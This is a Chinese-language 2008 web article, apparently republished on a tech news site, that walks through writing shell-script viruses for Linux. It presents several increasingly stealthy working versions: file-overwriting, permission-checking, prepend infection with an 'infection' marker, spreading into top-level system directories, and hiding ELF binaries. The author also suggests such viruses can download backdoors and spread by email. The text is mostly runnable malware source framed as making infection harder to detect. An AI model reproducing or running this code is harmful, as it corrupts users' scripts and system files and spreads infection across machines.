[ 登录 ][ 注册 ] 天极传媒: 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
您现在的位置: IT专家网 > 安全子站 > 评论分析

感染Linux系统脚本程序的病毒技术介绍

作者: 小白兔,  出处:赛迪网, 责任编辑: 郭秋爽, 
2008-07-22 09:58
  本文为您介绍了感染Linux系统脚本程序的病毒技术,希望能对您有所帮助。

  当然,本文需要你至少了解Linux Shell编程的基础知识和一星点的病毒知识。OK!我们进入正题!

  我们来看一个最原始的shell病毒,代码最能说明问题:

#shellvirus I
for file in *
do
 cp $0 $file
done

  简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件。但是,我们知道linux是多用户的操作系统,它的文件是具有保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染。所以我们可以为该脚本做个判断,这样隐蔽性就大大增强了:

#shellvirus II
for file in *
do
  if test -f $file
  then
  if test -x $file
  then
   if test -w $file
   then
   if grep -s echo $file >.mmm
   then
   cp $0 $file
fi; fi; fi; fi; fi
done
rm .mmm -f

  ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的。

if grep -s echo $file>/.mmm

  这句也可以这样写:

  if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判断file是否为shell脚本程序。但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错:),看看下面代码:

#infection
head -n 24 $0 > .test    <-取自身保存到.test
for file in *      <-遍历文件系统
do
 if test -f $file    <-判断是否为文件
 then
   if test -x $file    <-判断文件是否可执行
   then
      if test -w $file  <-判断文件是否可写
      then
       if grep -s echo $file >.mmm  <-判断是否为脚本程序
       then
        head -n 1 $file >.mm    <-提取要感染的脚本程序的第一行
        if grep -s infection .mm >.mmm  <-判断该文件是否已经被感染
        then
        rm -f .mm      <-已经被感染,则跳过
        else        <-还未被感染
        cat $file > .SAVEE    <-很熟悉吧?借用了传统的二进制文件的感染机制
        cat .test > $file
        cat .SAVEE >> $file
 fi; fi; fi; fi; fi
done
rm .test .SAVEE .mmm .mm -f

  程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵。不过危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来。

  ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:

#infection
for file in * ; do
 if test -f $file && test -x $file && test -w $file ; then
  if grep -s echo $file > /dev/nul ; then
  head -n 1 $file >.mm
   if grep -s infection .mm > /dev/nul ; then
   rm .mm -f ; else
    cat $file > .SAVEE
    head -n 13 $0 > $file
    cat .SAVEE >> $file
fi; fi; fi
done
rm .SAVEE .mm -f

  现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至写到1-2行,但这里我只是说明问题,就不写出来了.

  好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如根目录或者是/etc,/bin等等,因为大多数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了:)

#infection
xtemp=$pwd        <-保存当前路径
head -n 22 $0 > /.test
for dir in /* ; do      <-遍历/目录
if test -d $dir ; then    <-如果是目录就cd该目录
 cd $dir
 for file in * ; do      <-遍历该目录文件
  if test -f $file && test -x $file && test -w $file ; then  <-确定文件是否可执行,可写
  if grep -s echo $file > /dev/nul ; then      <-确定是否为脚本程序
   head -n 1 $file > .mm
   if grep -s infection .mm > /dev/nul ; then    <-确定是否已经被感染
    rm .mm -f ; else
    cat $file > /.SAVEE        <-和前面的感染机制一样感染未被感染的脚本程序
    cat /.test > $file
    cat /.SAVEE >> $file
  fi; fi; fi
 done
 cd ..
fi
done
cd $xtemp    <-返回原目录
rm /.test /.SAVEE .mm -f

  其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循环而已.同样shell病毒可以做很多事情如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来发送传染等等.总之它的实现技术不高深,但也比较实用,还是值得去说明一下的,呵呵.同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧。

for file in * ; do
 if test -f $file && test -x $file && test -w $file ; then
  if file $file | grep -s 'ELF' > /dev/nul ; then
  mv $file .$file
  head -n 9 $0 > $file
fi; fi
done
.$0

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。

邮件订阅


    • 解析Windows密码安全问题(第三部分)评论
      在前两部分文章中,我们讨论了Windows密码政策的问题以及它是如何在Active Directory环境被控制等问题,大家应该还记得在默认情况下密码政策和相关的设置位于默认域策略中(Default Domain Policy)。另外同样探讨了可以使用哪些技术破获windows密码,以及每种攻击方式的限制问题。那么,在本文中,我们将讨论如何让windows密码变得更加安全,以及如何能够解决在前两部分文章中出现的所有问题。本文将涉及Windows2002/2003/2008Active Directory默认安装带来的可能性以及其他能够整体提高密码安全的技术。
    • IDC创新和安全白皮书:合作或竞争评论
      业务创新是业务发展战略非常重要的一部分,并而日益成为公司保持竞争优势的决定性因素。由于创新的战略重要性,导致了我们越来越关注信息安全机制在抑制甚至扼杀业务创新方面起到的作用。IDC认为公司不仅是需要找到业务创新和有可能扼杀这种创新的信息安全机制,而且需要在这两者之间找到一个简洁的平衡来满足自己的业务需求。成功的企业能够在商业竞争中占有优势,是因为他们懂得去合理的利用两者使之成为一种具有杠杆作用的机制,而其它的企业只是单单强调其中的一个。
    • 预防企业数据丢失的6种最佳实践评论
      根据“私有权清算中心”(一家非赢利性消费者信息和倡导组织)的统计,自2005年1月以来,有将近2200万条记录遭到破坏。数据失窃和丢失案件数量惊人,这不仅是因为安全入侵事件正在以惊人的速度持续增长,数据丢失引发的财产损失事件也同样在飞速增加。根据美国政府的估计,所谓的“企业数据丢失”在去年使商业界损失了近1050亿美元。根据波尼蒙研究所(Ponemon Institute)的统计,仅仅内部人士导致的数据受损一项,每年给商业界造成的损失为平均每家公司3-4百万美元。产业分析公司Gartner集团估计,恢复数据的开销可以达到每条破坏记录150美元之高——这一数字还没有包括重拾客户信任和重建品牌价值、可能的罚款以及法律诉讼代理费的资金投入。在企业数据丢失案件有增无减的同时,公司也正在不断搜集更多数据,以求优化商业流程,改善客户服务,以及提升与合作伙伴的关系。更多的数据转化为相关数据在整个企业中数量不断增多的信息系统之间更广泛的传播。其结果就是——随着公司内外越来越多的用户获得接入系统的权限,敏感数据遭到破坏的风险也在不断增大。
    • RSA白皮书:管理银行的信息风险评论
      信息是银行的基础,但直到现在,金融机构还往往满足于以业务封闭式的方式管理风险。然而,行业的压力促使银行开始对这种战略展开思考。